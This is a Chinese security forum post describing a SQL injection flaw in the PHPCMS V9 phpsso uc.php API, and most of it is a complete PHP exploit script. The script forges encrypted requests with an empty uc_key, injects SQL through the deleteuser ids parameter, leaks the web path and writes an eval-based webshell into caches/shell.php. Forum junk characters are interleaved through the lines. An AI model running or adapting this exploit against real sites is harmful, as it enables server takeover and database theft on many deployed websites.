找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1801|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。0 g7 {7 \8 y! L4 |* G! }
, w8 a# w1 P$ N; U) C% h, W: D
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。/ \* t# G5 J2 h
2 A( z6 j" y& d' X
漏洞分析:
: s" b: ^5 E# E- ?# F8 ~1.未启用ucenter服务的情况下uc_key为空2 C: s8 Q6 l: Y0 C# t
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
, @8 |- e& k/ c, o* Q3 F2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
1 ~  [, x+ ^7 x4 }) V    public function deleteuser($get,$post) {
# S; T/ p$ l0 E        pc_base::load_app_func('global', 'admin');
7 q& s/ p- r  h: e% u7 P6 W        pc_base::load_app_class('messagequeue', 'admin' , 0);
7 _8 Z0 u3 L! J        $ids = new_stripslashes($get['ids']);3 i! Y. m# {9 B" j/ y) l& k$ s
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");9 l* l0 I& o$ }9 W! M. M8 ?
SQL语句为
; V9 S6 q4 w  Z8 H# HSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)2 U4 U3 P7 V6 a: _

- U% j+ O& @, Y6 `利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
7 p8 p# C- F- f<?php
/ @) V$ e: Z2 ?6 N7 bprint_r('- X, [8 G) t0 M  ?
---------------------------------------------------------------------------% O' Z& K7 q! I& y3 G- W8 y, C% s
PHPcms (v9 or Old Version) uc api sql injection 0day
( ]. C+ ]* n: H9 {+ M# ]% @by rayh4c#80sec.com$ g0 n0 V0 {: ]- Y" {; k; l
---------------------------------------------------------------------------
% Y+ P+ M" }1 O( `');- {' M/ J2 {  K# ^0 m  q5 l7 P

% @+ z7 }8 c( t! [# p& cif ($argc<3) {, X, q- B+ i3 |7 K( l' E
    print_r('
9 n( M* |) i- c/ E---------------------------------------------------------------------------' z. ~) }. ]* C
Usage: php '.$argv[0].' host path OPTIONS" q: ?( ?- ~. ]7 l6 x
host:      target server (ip/hostname)
  ?7 `* p5 r" ]. a! ]1 qpath:      path to phpcms
! A* S: F: J* l4 E2 M3 V* \Options:
" a0 D/ k5 R! [: `; M7 j- s -p[port]:    specify a port other than 80
" L+ R3 {' Q$ X% x -P[ip:port]: specify a proxy
4 y3 H9 ^3 Z' w: c% kExample:  H; x% T; B6 Z; \: q
php '.$argv[0].' localhost /6 M1 z& n5 ]* T4 t; g
php '.$argv[0].' localhost /phpcms/ -p818 ^' {2 c5 o% ^0 p. S
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
; B  W% L3 e" y---------------------------------------------------------------------------9 O7 \/ m2 G* k+ F$ b' U& ^: \
');( `! Y* b" }" l- u
    die;% @) B& E' T1 H' N. ~% l; d5 X' t3 V
}$ K) v! Q' ]# g) r
0 z7 S! r* a% K& r  `$ |
error_reporting(7);- `* j. I6 K7 Y' @) x
ini_set("max_execution_time",0);
8 a. I4 b/ B$ I4 f+ Vini_set("default_socket_timeout",5);& Q/ d, }# o) }8 V& n  H" l  `

1 A1 M2 S: z, o; H. ?function quick_dump($string)8 `' n4 }( ]! f0 v$ q
{
) r- x7 O( H. P- P  $result='';$exa='';$cont=0;2 v  G* t) s/ V* j2 a% x: A
  for ($i=0; $i<=strlen($string)-1; $i++)1 D! F  q! O5 p7 Z
  {
$ r6 Q8 s3 S+ Q: c) ~0 |   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  b1 [2 m: [: ~, x* R" F  K
   {$result.="  .";}. e( a1 L3 o% B9 S; e: x% I
   else
0 a# E) Y/ n* ~0 b   {$result.="  ".$string[$i];}
2 ~  K8 [* J$ s; N7 J  f   if (strlen(dechex(ord($string[$i])))==2)
9 v) c- s0 X  A: p/ R   {$exa.=" ".dechex(ord($string[$i]));}
$ r( q9 ~; l, g8 G   else
$ D8 E$ Q- J0 O( R8 d! F, u/ G9 A   {$exa.=" 0".dechex(ord($string[$i]));}% ~3 O$ e7 D8 f7 G  _
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}9 q- K% T+ G7 W* x0 A# N
  }
, j+ Q1 P& G" I- R5 r# | return $exa."\r\n".$result;$ h7 F3 q  A) Q8 @
}
- n6 p: [3 W/ `9 o% M- F$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';5 K/ {0 D  m5 ~

2 v* `1 v2 d' Wfunction send($packet)/ I. w: n6 S9 W( Q
{7 W1 j  s8 K' {" p# H
  global $proxy, $host, $port, $html, $proxy_regex;
3 e  j! F9 f0 z0 Z# X" ^  if ($proxy=='') {) B% t/ p* q+ i, @( o* S  J
    $ock=fsockopen(gethostbyname($host),$port);" w; V8 ~  [2 w( v: ]5 v9 Q' P
    if (!$ock) {
! X! a: H3 ^6 n* ]' z4 Z; j      echo 'No response from '.$host.':'.$port; die;! @1 t' [! W1 r4 B9 G
    }
( r6 v& Y' J4 u  }* i4 T: w# @# x
  else {
. V) @* }2 r! a& b( B! z# h: \( }        $c = preg_match($proxy_regex,$proxy);
/ I6 Z0 J4 ~8 a( K    if (!$c) {; K, X, j6 W0 ^* C; _6 z' z5 }
      echo 'Not a valid proxy...';die;
6 r$ Z, c& y$ I    }
( o& l9 L4 e9 r/ e7 e, Z" E7 E    $parts=explode(':',$proxy);
& J" ]- D/ h* x6 D9 N; V7 ~# G9 k: y    $parts[1]=(int)$parts[1];
: ?) i4 Q$ `0 @  T/ D    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
+ R: O1 i. y0 [7 n    $ock=fsockopen($parts[0],$parts[1]);
6 g" Z+ A  P- E$ g    if (!$ock) {
8 M: E. v( s/ O) g6 J8 }; a( ?      echo 'No response from proxy...';die;
  s4 @: e( H+ z# f" {        }7 g- h! ~) P# R) o) D3 e
  }0 v" ?7 {3 M" U) X% V  l0 h0 `
  fputs($ock,$packet);+ M- m) P( y6 S2 q7 ?
  if ($proxy=='') {3 p' J, S& W+ |4 h
    $html='';) `2 r) B' I) y
    while (!feof($ock)) {, w! J7 d  Q& i. G/ o" f3 T- T5 e; p- t) c
      $html.=fgets($ock);
0 h( ?  y' r. L! Y- b    }+ T% B$ z+ O- P& _1 E6 Y& n5 `
  }
# p' R" E+ s# Z  else {
) ]! ^% ^# j) y# l5 y. d    $html='';
! O, x& o2 ]) J9 O    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {! {) N+ R8 R- m1 `. \0 d2 t
      $html.=fread($ock,1);& A( I$ ^( n/ I% @! F0 {& p
    }
& n9 f3 ~/ p. K: d" T* i9 Q( c1 e6 A: \: E  }1 U6 ~0 ~- h* Y
  fclose($ock);
; w2 m- U) T4 ?9 C" o7 @}
1 G' ^; D' `" X5 e: q
3 ^7 x" A) q: \1 H# z1 Y1 @9 J$host=$argv[1];5 `. c, D1 A: A  W, R. k. Y- A# V6 l
$path=$argv[2];, }. G, ~; M- }2 }' [) e
$port=80;
0 @: l; X. y2 r8 S4 Z2 N# W9 G$proxy="";
$ G% W0 c+ g! k- G% ~$ F; ~for ($i=3; $i<$argc; $i++){0 A* l9 g1 ^; J9 C+ O4 a
$temp=$argv[$i][0].$argv[$i][1];
  K- a; e( M4 \' B3 ?/ Tif ($temp=="-p")% i+ u) m; M1 i
{
) s: j3 T3 T, d$ _" O. y/ ?5 R0 w  $port=(int)str_replace("-p","",$argv[$i]);
) l* H" s# Q; Q6 A0 o$ V* H8 z8 W}, i$ m' E7 v( K6 \. U2 o5 p- r
if ($temp=="-P")
& q9 x$ c- b+ a. d{3 [7 V$ Z, z6 y" ~7 W. M
  $proxy=str_replace("-P","",$argv[$i]);
7 H0 I( f1 k4 A}
4 U: E+ _: l: }- w& |7 _9 `}/ }  H- P5 V: y, d( U4 i6 a6 f
" a) D8 B9 q$ ]+ G  W
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
" n* u  |6 o: g/ I- C$ Yif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
' P; M9 l4 Y. G
, Y1 n1 }, O* U) N$ h% ~0 Kfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
. Y5 P( E: x% K# q! W* O0 Z/ @$ [& K6 |: R1 b4 \
    $ckey_length = 4;
- s; |6 \" D) W8 T9 {3 p) a- _! T/ b9 {/ W) ]' d; u, ^3 l
    $key = md5($key ? $key : '');- D5 m5 q: l0 `8 N$ Z' V1 I8 L
    $keya = md5(substr($key, 0, 16));& ^8 @$ m) W5 p. Y, l, J
    $keyb = md5(substr($key, 16, 16));
; V8 Q% o. m# i8 W7 Q. z- U    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
. O: e6 B0 x4 q0 b& f
0 {3 _, S) g+ B- y( t% j& n    $cryptkey = $keya.md5($keya.$keyc);
0 X2 ?1 a/ `3 C2 J    $key_length = strlen($cryptkey);
+ m  r( N' V! D
4 o" b" Y2 l: S* ?    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;8 n/ a( s' [) a9 _; Y
    $string_length = strlen($string);$ h8 C6 `5 A$ J

7 O" s  x$ v- Q& w7 t3 X    $result = '';
3 i  E: ]0 g; ^9 Q6 A    $box = range(0, 255);% ~/ g7 x& w2 U4 u

( C% P9 D3 ?( G6 s6 V+ B    $rndkey = array();
: B5 _: W# C4 Y2 W3 _    for($i = 0; $i <= 255; $i++) {
9 y4 e* J2 b+ x2 _: Q4 X        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
5 n% q* b+ l) C' s9 t# S4 }1 B    }; w) F" m8 \& |1 L# K9 x* E5 x& @; {' ~
2 I  I$ I* r' ?! k
    for($j = $i = 0; $i < 256; $i++) {
# o* H% v, R8 G3 \9 s& X        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
. W! ]6 v4 q/ z" x7 k( ^        $tmp = $box[$i];; C1 J2 U8 f2 _  U- a, N: r* W; W
        $box[$i] = $box[$j];
4 C6 {( Z$ C9 p        $box[$j] = $tmp;- q- K3 x1 H" a8 }: p9 o
    }
( ?4 N- K) d7 J( _  M
# Y- W2 Q6 D) p2 F+ `1 Z2 h    for($a = $j = $i = 0; $i < $string_length; $i++) {3 E4 b1 m4 I8 {
        $a = ($a + 1) % 256;
- V3 F7 i4 e4 Z7 b$ ]        $j = ($j + $box[$a]) % 256;
! s3 r; a1 P* m1 c! X        $tmp = $box[$a];
  o% ?! j, G. m6 M+ w        $box[$a] = $box[$j];
& z9 i9 }# q/ X        $box[$j] = $tmp;
" _! S5 L. g0 k: l' F' {. q, F* r        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));' @% w: ]2 N7 n2 W1 h9 a: A
    }
4 m" V+ R; E( `2 c5 d8 g. g7 j4 y( ^- r4 `
    if($operation == 'DECODE') {
( N% C. _; q. d4 p        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {6 C! o5 U# S& q# m
            return substr($result, 26);# c$ x! v9 I) [
        } else {6 N: v$ c1 L' `0 d) U$ _! f: @& x# ?
            return '';
5 r' }9 \# o$ R3 D1 e        }1 ]! P* J' o- R! C
    } else {* o; F" r6 x7 z
        return $keyc.str_replace('=', '', base64_encode($result));
6 B) A( E9 O! n6 X0 U8 i% Y    }1 O9 s: N1 a9 G. `, j% A1 X$ q

7 z. h9 B" L9 g$ X0 k/ L3 c}2 i2 q8 q" R4 a& }& w) k$ o# S
' Y' u- @, {1 F6 D4 \1 X
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";1 t" V6 j/ h( P9 a5 U
$SQL = urlencode(authcode($SQL, "ENCODE", ""));, d9 A8 M# P3 k# J6 W; }' l  T
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";: Q4 \) @3 {5 [5 w
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";2 m# @, M- l8 L+ m0 b+ I
$packet.="User-Agent: Mozilla/5.0\r\n";$ Z" i3 I$ H, w# S
$packet.="Host: ".$host."\r\n";& m" {# s7 W9 i( _6 h: |+ i- `
$packet.="Connection: Close\r\n\r\n";
/ h. @9 B! p: F% q7 C: O6 g5 Ksend($packet);% `, _; y+ {+ H4 g, ^2 R
if(strpos($html,"MySQL Errno") > 0){2 ]4 U5 L; O3 y( Q
echo "[2] 发现存在SQL注入漏洞"."\n";
/ q8 T, i7 A; h* ~0 Secho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
% {3 K3 w: R, Z% n7 F0 S! D' C$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";7 c! L4 y3 _' K3 Z0 g7 B! q0 S# Y
$packet.="User-Agent: Mozilla/5.0\r\n";
, e! Y. N+ q  v$packet.="Host: ".$host."\r\n";& R6 A6 G4 J6 @
$packet.="Connection: Close\r\n\r\n";
3 `/ S; e. v7 U( j* u% Asend($packet);
. \! e- i& ?1 S" T7 T& p: f" g1 U: F; ]preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);; L& \: G* P2 s1 _1 N4 \
//print_r($matches);
4 C& U; c8 e6 o/ ~& a( Mif(!empty($matches)){, B- `: N% j4 ]: f+ X/ X+ }  e% c
echo "[4] 得到web路径 " . $matches[0]."\n";$ P5 v4 B5 p+ N7 B, i
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
- H& F" O5 v" ?" H$SQL = "time=999999999999999999999999&ids=1)";
* u' m9 U. y4 ?4 {$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";$ t" f& Z- {' v1 c- l
$SQL.="&action=deleteuser";
% D$ P# b1 b2 U; _/ r$SQL = urlencode(authcode($SQL, "ENCODE", ""));: v$ [" r: r, @" }$ @
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
/ s7 q( E6 F1 I0 E$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
9 F: X: I( b; A# G) R$packet.="User-Agent: Mozilla/5.0\r\n";: H0 o% L$ p3 Q$ m3 q% Q$ G
$packet.="Host: ".$host."\r\n";4 W: E/ t5 `) l
$packet.="Connection: Close\r\n\r\n";
0 b9 k. Y5 Y# c0 D( {send($packet);
! F( A: m0 }+ i3 Cif(strpos($html,"Access denied") > 0){
8 t0 Z2 u: p7 b7 S) ~2 u+ q% Qecho "[-] MYSQL权限过低 禁止写入文件 ";
6 g! }* k$ g; ], X' udie;
3 V) ?, E& q- Z% R/ v* \: F}
- M+ q1 D; I# n* @! Pecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
0 E4 @5 A3 a' w! m$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
2 W- ~4 u/ R; Y) _8 r$ V$packet.="User-Agent: Mozilla/5.0\r\n";1 l" s% C! h1 v, U  t
$packet.="Host: ".$host."\r\n";9 a. |7 j  |+ `. E, g
$packet.="Connection: Close\r\n\r\n";/ g1 g4 u4 @$ Y- r# f( k2 ^
send($packet);
; X  r8 ]! [9 T/ `2 Bif(strpos($html,"<title>phpinfo()</title>") > 0){
# H$ U" r+ p0 \# necho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
( U, c0 r5 N3 ?# M}3 x- b; w8 s7 U+ B( u
}else{  o) X6 w8 G/ K8 d. U; c, U$ L
echo "[-]未取到web路径 ";3 z% T8 \+ C9 N. i: T) h# p; U9 t
}
- r9 n$ A% F' v: S2 D4 P. S}else{
+ }/ L* }3 l2 f! ]% \; [4 Iecho "[*]不存在SQL注入漏洞"."\n";4 y5 e+ I  l3 L: i
}
- f& [& e+ ^1 [" }# r0 J* l  J, X* b( O! u) D3 R$ ~
?>0 Z6 f3 ~4 H) w/ O3 ?4 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表